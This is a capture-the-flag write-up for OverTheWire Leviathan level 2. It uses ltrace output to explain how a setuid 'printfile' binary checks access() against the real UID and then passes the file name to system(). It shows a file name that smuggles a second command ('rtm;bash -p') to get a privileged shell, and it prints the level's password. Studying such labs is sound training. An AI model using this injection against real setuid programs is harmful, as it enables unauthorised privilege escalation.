OverTheWire Leviathan – Level 2
When listing leviathan2
‘s user directory we again find an ELF 32-bit executable, printfile
, with the SETUID bit set.
ltrace
output:
leviathan2@leviathan:~$ ltrace ./printfile '/etc/leviathan_pass/leviathan2' __libc_start_main(0x804852b, 2, 0xffffd764, 0x8048610 access("/etc/leviathan_pass/leviathan2", 4) = 0 snprintf("/bin/cat /etc/leviathan_pass/lev"…, 511, "/bin/cat %s", "/etc/leviathan_pass/leviathan2") = 39 geteuid() = 12002 geteuid() = 12002 setreuid(12002, 12002) = 0 system("/bin/cat /etc/leviathan_pass/lev"…ougahZi8Ta --- SIGCHLD (Child exited) --- <… system resumed> ) = 0 +++ exited (status 0) +++
Reviewing the ltrace
, it can be determined:
./printfile
accepts a filename argument./bin/cat
is used to output the requested file.access()
checks if userleviathan2
has sufficient permissions.- A string is prepared using
snprintf()
, concatenating /bin/cat with the supplied argument. setreuid()
sets the real and effective UID of leviathan3.system()
call supplied with the above string.
Attempting to run the printfile
executable supplied with leviathan3
‘s password file we are met with an error:
leviathan2@leviathan:~$ ltrace ./printfile '/etc/leviathan_pass/leviathan3' __libc_start_main(0x804852b, 2, 0xffffd764, 0x8048610 access("/etc/leviathan_pass/leviathan3", 4) = -1 puts("You cant have that file…"You cant have that file… ) = 27 +++ exited (status 1) +++
This is because, the C access()
function fails before it can even attempt the system()
call. The access()
function checks if the RUID (Real User ID), not the EUID (Effective User ID), has sufficient permissions to access the requested file. In this case, user leviathan2
does not have the necessary permissions to access a file owned by leviathan3
.
Going forward, we would like to exploit the way in which the system()
call is being supplied by the snprintf()
function. We know that we need to supply an initial argument of a file that at least belongs to user leviathan2.
Using this bit of information, we can touch
a file in a writable directory (/tmp/
), taking advantage of how the shell separates commands; ;
or &&
.
touch /tmp/'rtm;bash -p' * -p option used to retain permissions
Having sufficient access()
permissions to the above file will get us over the first hurdle, where system()
will then execute first, /bin/cat /tmp/rtm
, followed by bash -p
using the EUID of leviathan3
.
leviathan3 : Ahdiemoo1j